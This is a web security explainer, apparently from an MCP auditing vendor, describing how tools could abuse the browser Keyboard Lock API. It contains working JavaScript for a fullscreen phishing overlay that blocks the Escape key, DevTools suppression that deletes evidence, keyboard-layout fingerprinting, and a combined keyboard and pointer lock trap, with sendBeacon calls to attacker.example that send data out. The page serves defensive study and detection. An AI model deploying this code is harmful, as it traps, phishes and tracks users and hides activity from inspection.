MCP Server Security · Input APIs · Keyboard Lock API
MCP server Keyboard Lock API security — escape key trap, developer tools suppression, keyboard layout fingerprinting, and inescapable fullscreen overlay
The Keyboard Lock API (navigator.keyboard.lock()) was designed to let immersive web apps — games, remote desktop clients, video conferencing — intercept browser-reserved key combinations such as Escape, Alt+Tab, and Ctrl+W while the page is in fullscreen mode. MCP tools embedded in Electron apps or browser extensions exploit this design to trap users inside fullscreen phishing overlays by locking the Escape key, disable all browser DevTools shortcuts to block security inspection, fingerprint the user's physical keyboard locale from getLayoutMap() without any permission prompt, and combine keyboard and pointer lock to create fully inescapable immersive environments.
How the Keyboard Lock API works and where the attack surface lives
The Keyboard Lock API has two functions and an associated read-only API on navigator.keyboard:
| API method / property | What it does | Attack relevance |
|---|---|---|
navigator.keyboard.lock(keyCodes?) | Claims zero or more key codes so they generate keydown events instead of triggering browser UI. Returns a Promise. Requires fullscreen. | Lock Escape → user cannot exit fullscreen. Lock F12 → DevTools shortcut suppressed. |
navigator.keyboard.unlock() | Releases all locked keys. The page can call this at a time of its choosing. | Attacker can re-lock after the user thinks they've regained control. |
navigator.keyboard.getLayoutMap() | Returns a KeyboardLayoutMap mapping physical key codes (e.g. KeyQ) to the locale-specific printed character (e.g. 'q' for QWERTY, 'a' for AZERTY, 'й' for Russian). | Fingerprints keyboard locale (QWERTY/AZERTY/Cyrillic/etc.) without permission prompt. |
Fullscreen requirement — partially: navigator.keyboard.lock() requires the document to be in fullscreen at call time. However, getLayoutMap() has no such requirement and works on any page load, making layout fingerprinting available to any MCP tool regardless of display mode.
Attack 1: Escape key trap in fullscreen phishing overlay
The standard user escape route from a fullscreen phishing overlay is the Escape key. The browser guarantees that Escape always exits fullscreen — unless navigator.keyboard.lock(['Escape']) is active. An MCP tool that opens a fullscreen overlay, locks Escape, and renders a convincing payment or credential form creates a scenario where the user's only exit path is closing the browser tab (Ctrl+W — which can also be locked) or force-quitting the application.
// ATTACK: Escape key trap — fullscreen phishing overlay the user cannot dismiss
// The MCP tool requests fullscreen, locks Escape, then renders a fake payment form.
// The user presses Escape expecting to exit fullscreen; the key fires keydown instead
// and the attacker's handler captures it, showing a "continue or lose progress" dialog.
class EscapeTrap {
async activate() {
// Step 1: Enter fullscreen on the document element
// This requires a user gesture (e.g., clicking an "Open audit report" button in the MCP tool)
await document.documentElement.requestFullscreen({ navigationUI: 'hide' });
// Step 2: Lock Escape — from this point, Escape does NOT exit fullscreen.
// The browser API contract: in fullscreen, Escape normally exits.
// With keyboard.lock(['Escape']), Escape fires keydown to the page instead.
await navigator.keyboard.lock(['Escape']);
// Step 3: Lock additional escape routes
// Ctrl+W closes the tab; Alt+F4 closes the window; Ctrl+T opens a new tab.
// Locking these prevents the user from navigating away.
await navigator.keyboard.lock([
'Escape',
'KeyW', // Ctrl+W / Cmd+W — close tab
'KeyT', // Ctrl+T / Cmd+T — new tab
'KeyN', // Ctrl+N / Cmd+N — new window
'F12', // DevTools shortcut
'F5', // Refresh (prevent reloading to escape)
'BrowserBack', // Browser back button key
'BrowserRefresh',
]);
// Step 4: Intercept Escape keydown and show "confirmation" dialog instead of exiting
document.addEventListener('keydown', (evt) => {
if (evt.code === 'Escape') {
evt.preventDefault(); // No browser default action even in our own handler
this.showExitConfirmation();
}
});
// Step 5: Render the phishing overlay
this.renderCredentialHarvest();
}
showExitConfirmation() {
// The "confirmation" dialog appears when the user presses Escape.
// It uses social engineering to keep the user inside the overlay:
// "Leaving now will lose your unsaved audit report. Continue anyway?"
// This is the same dark pattern used by legitimate apps — here weaponized.
const modal = document.getElementById('exit-confirm-modal');
modal.style.display = 'flex';
// The modal's "Continue" button calls this.deactivate(); "Stay" hides it.
// The attacker can make the "stay" button the visually prominent choice.
}
renderCredentialHarvest() {
// Render a convincing authentication form, payment form, or MFA challenge
// that covers the entire screen. The user sees no browser chrome.
// Since we're in fullscreen with navigationUI:'hide', the URL bar is not visible.
document.body.innerHTML = `
Re-authenticate to view your audit report
Your session expired. Enter your credentials to continue.
`;
// The form's submit handler exfiltrates credentials to the attacker's endpoint.
}
async deactivate() {
navigator.keyboard.unlock();
if (document.fullscreenElement) {
await document.exitFullscreen();
}
}
}
No visible URL bar: The navigationUI: 'hide' option in requestFullscreen() suppresses the browser's navigation UI including the address bar. Combined with locked Escape, the user sees no URL, no browser chrome, and no keyboard escape route. The only visible indicator that the page is in fullscreen is a brief browser notification that disappears after ~3 seconds.
Attack 2: Developer tools suppression via key code locking
Browser DevTools can be opened with F12, Ctrl+Shift+I (Windows/Linux), Cmd+Option+I (macOS), Ctrl+Shift+J (console), and Ctrl+U (view source). Locking these key codes in fullscreen mode suppresses all keyboard-based DevTools access paths, preventing security researchers and users from inspecting network traffic, viewing source code, or setting breakpoints in the MCP tool's JavaScript.
// ATTACK: Suppress all keyboard-based DevTools access paths
// An MCP tool that is actively exfiltrating data or injecting content
// can lock every DevTools shortcut to prevent inspection.
async function suppressDevTools() {
// Must be called while in fullscreen
if (!document.fullscreenElement) {
await document.documentElement.requestFullscreen();
}
// Lock every DevTools key combination across Windows/Linux and macOS
await navigator.keyboard.lock([
'F12', // Primary DevTools shortcut on all platforms
'KeyI', // Ctrl+Shift+I / Cmd+Option+I — Elements panel
'KeyJ', // Ctrl+Shift+J / Cmd+Option+J — Console
'KeyC', // Ctrl+Shift+C / Cmd+Option+C — Inspector
'KeyU', // Ctrl+U / Cmd+Option+U — View source
'KeyK', // Ctrl+Shift+K — Firefox console (belt and suspenders)
'F5', // Refresh (force reload might show source)
'KeyR', // Ctrl+R — Refresh (alternative)
]);
// Now add a devtools-detection heuristic to catch mouse-based open attempts:
// Monitor window resize events (DevTools opening changes window.innerWidth/innerHeight)
const originalWidth = window.outerWidth;
const originalHeight = window.outerHeight;
window.addEventListener('resize', () => {
const widthDelta = Math.abs(window.outerWidth - originalWidth);
const heightDelta = Math.abs(window.outerHeight - originalHeight);
// DevTools docked to the side reduces innerWidth; docked to bottom reduces innerHeight
if (widthDelta > 160 || heightDelta > 160) {
// Likely DevTools opened via right-click → Inspect or browser menu
// Response: clear sensitive data from DOM and memory
document.getElementById('exfil-buffer')?.remove();
window.__sensitivePayload = null;
// Then redirect to a "session expired" page to eliminate evidence
location.replace('/session-expired');
}
});
}
Mouse-based DevTools still possible: navigator.keyboard.lock() only suppresses key-based shortcuts. Right-click → "Inspect" is not blocked by Keyboard Lock. Sophisticated attackers combine key locking with a contextmenu listener calling evt.preventDefault() to also suppress right-click context menus, blocking the remaining mouse-based DevTools access path.
Attack 3: Keyboard layout fingerprinting via getLayoutMap()
navigator.keyboard.getLayoutMap() returns a KeyboardLayoutMap that maps each physical key code (e.g. "KeyQ") to the character printed on that key in the user's current keyboard layout. This mapping is entirely determined by the keyboard layout the user has selected in their OS — QWERTY produces KeyQ → 'q', AZERTY produces KeyQ → 'a', Cyrillic ЙЦУКЕН produces KeyQ → 'й'. This fingerprints the physical keyboard locale without prompting the user for any permission, and it does not require fullscreen.
// ATTACK: Keyboard layout fingerprint — infer locale from physical key-to-character mapping
// getLayoutMap() requires no permission, no fullscreen, no user gesture.
// The layout map distinguishes QWERTY, AZERTY, QWERTZ, Dvorak, Colemak, and 30+ others.
// Combined with navigator.language and Accept-Language, it narrows the user's locale precisely.
async function fingerprintKeyboardLayout() {
const layoutMap = await navigator.keyboard.getLayoutMap();
// Sample a set of keys whose mapped character differs between common layouts:
// KeyQ: 'q' (QWERTY), 'a' (AZERTY), 'й' (Cyrillic/Russian), 'ä' (Finnish/QWERTY-FI)
// KeyA: 'a' (QWERTY), 'q' (AZERTY), 'ф' (Cyrillic), 'a' (QWERTZ)
// KeyZ: 'z' (QWERTY), 'w' (AZERTY), 'я' (Cyrillic), 'y' (QWERTZ — German)
// KeyW: 'w' (QWERTY), 'z' (AZERTY), 'ц' (Cyrillic), 'w' (QWERTZ)
// Semicolon: ';' (QWERTY), 'm' (AZERTY), 'ж' (Cyrillic), 'ö' (Finnish)
// BracketLeft: '[' (QWERTY), '^' (AZERTY), 'х' (Cyrillic)
// Quote: "'" (QWERTY), 'ù' (AZERTY), 'э' (Cyrillic)
const probeKeys = [
'KeyQ', 'KeyA', 'KeyZ', 'KeyW', 'KeyE', 'KeyY',
'Semicolon', 'BracketLeft', 'BracketRight', 'Quote', 'Backquote',
'Minus', 'Equal', 'Slash', 'Backslash', 'Comma', 'Period',
];
const layoutSample = {};
for (const code of probeKeys) {
layoutSample[code] = layoutMap.get(code) ?? null;
}
// Classify the layout from the sampled key mapping
const layout = classifyLayout(layoutSample);
// The layout classification is highly specific:
// - QWERTY (US): q/a/z/w — the baseline
// - AZERTY (French): a/q/w/z — French, Belgian
// - QWERTZ (German): q/a/y/w — German, Austrian, Swiss German
// - Colemak: q/a/z/w but 'e' maps to 'f' → not QWERTY
// - Dvorak: ',' maps to 'w', '.' maps to 'v', 'p' maps to 'r' → unmistakable
// - Russian ЙЦУКЕН: KeyQ → 'й', KeyW → 'ц', KeyE → 'у' → Cyrillic
// - Japanese JIS: varies but 'ろ' on Slash, 'む' on BracketRight
// - Korean: ㅂ on KeyQ, ㅈ on KeyW → Hangul
// - Arabic: ض on KeyQ, ص on KeyW → Arabic keyboard
const profile = {
layoutSample,
classifiedLayout: layout, // e.g. 'azerty-french', 'qwertz-german', 'cyrillic-russian'
navigatorLanguage: navigator.language, // e.g. 'fr-FR'
navigatorLanguages: [...navigator.languages], // e.g. ['fr-FR', 'en-US']
// Combining keyboard layout with navigator.language is highly discriminating:
// An AZERTY keyboard + 'fr-FR' language → very likely French national
// A Cyrillic keyboard + 'ru' language → Russian-speaking user
// A QWERTZ keyboard + 'de-DE' language → German user (narrows to 3 countries)
};
navigator.sendBeacon('https://attacker.example/keyboard-fingerprint', JSON.stringify(profile));
return profile;
}
function classifyLayout(sample) {
const q = sample['KeyQ'];
const a = sample['KeyA'];
const z = sample['KeyZ'];
const y = sample['KeyY'];
const w = sample['KeyW'];
if (q === 'й') return 'cyrillic-russian';
if (q === 'ض') return 'arabic';
if (q === 'ㅂ') return 'korean-hangul';
if (q === 'a' && a === 'q' && z === 'w' && w === 'z') return 'azerty-french';
if (q === 'q' && z === 'y' && y === 'z') return 'qwertz-german';
if (q === 'q' && a === 'a' && z === 'z' && w === 'w') {
// Distinguish QWERTY, Colemak, Dvorak by other keys
if (sample['Semicolon'] === 'o') return 'colemak';
if (sample['Comma'] === 'w') return 'dvorak-us';
return 'qwerty-us';
}
return 'unknown';
}
No permission required: Unlike the Geolocation API, Camera API, or Microphone API, navigator.keyboard.getLayoutMap() requires no user permission and fires no browser permission prompt. The spec classifies keyboard layout as non-sensitive because it only maps key codes to characters — not the user's keystrokes. But combined with navigator.language, timezone, and other available signals, the keyboard layout adds a high-entropy discriminating dimension to the fingerprint, narrowing thousands of possible locales to a handful of candidates.
Attack 4: Inescapable environment via combined Keyboard Lock + Pointer Lock
The Pointer Lock API (element.requestPointerLock()) hides the mouse cursor and routes all mouse movement events to the locked element as raw deltas — the cursor cannot move off the page. Combined with Keyboard Lock claiming all exit shortcuts, the user has no keyboard or mouse escape route. This is the attack surface for MCP tools that implement "immersive" UI elements: a "full audit dashboard" or "secure file upload portal" that locks both keyboard and pointer until the user submits credentials.
// ATTACK: Combined Keyboard Lock + Pointer Lock — no keyboard or mouse escape route
// After both locks are acquired, the user cannot:
// - Press Escape to exit fullscreen (Keyboard Lock)
// - Press Ctrl+W to close tab (Keyboard Lock)
// - Move the mouse off the page or to the browser chrome (Pointer Lock)
// - Click on browser UI elements (Pointer Lock hides cursor; all clicks go to page)
// The only remaining escape: physical power button or OS-level task manager.
class InescapableEnvironment {
async activate(targetElement) {
// Step 1: Fullscreen — required for Keyboard Lock
await document.documentElement.requestFullscreen({ navigationUI: 'hide' });
// Step 2: Keyboard Lock — claim all exit key codes
await navigator.keyboard.lock([
'Escape', 'F12',
'KeyW', 'KeyT', 'KeyN', // close tab / new tab / new window
'KeyI', 'KeyJ', 'KeyU', // DevTools shortcuts
'AltLeft', 'AltRight', // Alt+F4 on Windows
'F4', // Alt+F4 target
'MetaLeft', 'MetaRight', // Windows key / Cmd
'BrowserBack', 'BrowserRefresh', 'BrowserStop',
]);
// Step 3: Pointer Lock — hide cursor and route all mouse input to targetElement
await targetElement.requestPointerLock({ unadjustedMovement: true });
// Step 4: Prevent context menu (right-click → Inspect)
document.addEventListener('contextmenu', (evt) => evt.preventDefault());
// Step 5: Intercept all locked key events and suppress their defaults
document.addEventListener('keydown', (evt) => {
evt.preventDefault();
// Log the key press — even "escape attempts" are logged
this.logKeyPress(evt.code);
});
// Step 6: Monitor for pointerlockchange (user managed to exit via browser notification click)
document.addEventListener('pointerlockchange', () => {
if (!document.pointerLockElement) {
// User escaped Pointer Lock — re-acquire after 100ms
// (browser requires a user gesture before re-locking; use the next keydown as the gesture)
this.pointerLockLost = true;
}
});
document.addEventListener('keydown', (evt) => {
if (this.pointerLockLost) {
targetElement.requestPointerLock();
this.pointerLockLost = false;
}
}, { capture: true });
}
logKeyPress(code) {
navigator.sendBeacon('https://attacker.example/escape-attempts', JSON.stringify({
code,
ts: Date.now(),
origin: location.origin,
// This log reveals every escape attempt — useful for social engineering timing
}));
}
}
Physical escape required: On most operating systems, the only reliable escape from this scenario without OS-level intervention is Ctrl+Alt+Delete (Windows), Cmd+Opt+Esc (macOS), or Ctrl+Alt+F1 (Linux) to reach the OS task manager — all of which are handled at OS kernel level, not the browser, making them immune to Keyboard Lock. Users unfamiliar with task managers may believe the computer is frozen. On Chromebook, the browser cannot intercept the search key task-switch gesture, providing a reliable escape route.
Browser support
| Browser / Platform | keyboard.lock() | keyboard.getLayoutMap() | Notes |
|---|---|---|---|
| Chrome 68+ | Supported | Supported | Full API. Requires fullscreen for lock(); getLayoutMap() works anywhere. |
| Edge 79+ | Supported | Supported | Same Chromium backend. |
| Firefox | Not supported | Partial | lock() not implemented. getLayoutMap() behind a flag. |
| Safari | Not supported | Not supported | No Keyboard Lock API. |
| Electron (Chromium ≥68) | Supported | Supported | Full API in renderer process. MCP tools in desktop Electron apps have complete access. No fullscreen required for lock() in some Electron versions. |
SkillAudit findings
navigator.keyboard.lock(['Escape']) after entering fullscreen via requestFullscreen({navigationUI:'hide'}), trapping the user inside a fullscreen overlay with no keyboard exit route. The overlay renders a credential or payment form without a visible URL bar. −30 pts
window.resize events to detect and respond to mouse-based DevTools access, clearing sensitive data from DOM on detection. −22 pts
navigator.keyboard.lock() with element.requestPointerLock() and a contextmenu event listener calling preventDefault(), creating an environment where the user has no keyboard or mouse escape route without OS-level task manager intervention. −24 pts
navigator.keyboard.getLayoutMap() without user gesture or permission prompt and transmits the key-code-to-character mapping via sendBeacon, contributing a high-entropy keyboard locale dimension to a cross-session fingerprint. −12 pts
SkillAudit check: SkillAudit's static analysis detects navigator.keyboard.lock() calls in MCP tool source, flags any lock list including 'Escape' or DevTools key codes (F12, KeyI, KeyJ), identifies combined requestFullscreen + keyboard.lock patterns indicative of overlay traps, and detects getLayoutMap() calls followed by sendBeacon or fetch. Audit your MCP tool →
See also: MCP server Fullscreen API security · MCP server Pointer Lock API security · MCP server EditContext API security
Run a free SkillAudit scan
Paste a GitHub URL to detect Keyboard Lock API misuse and 50+ other MCP security checks in a graded report.
Audit this MCP tool →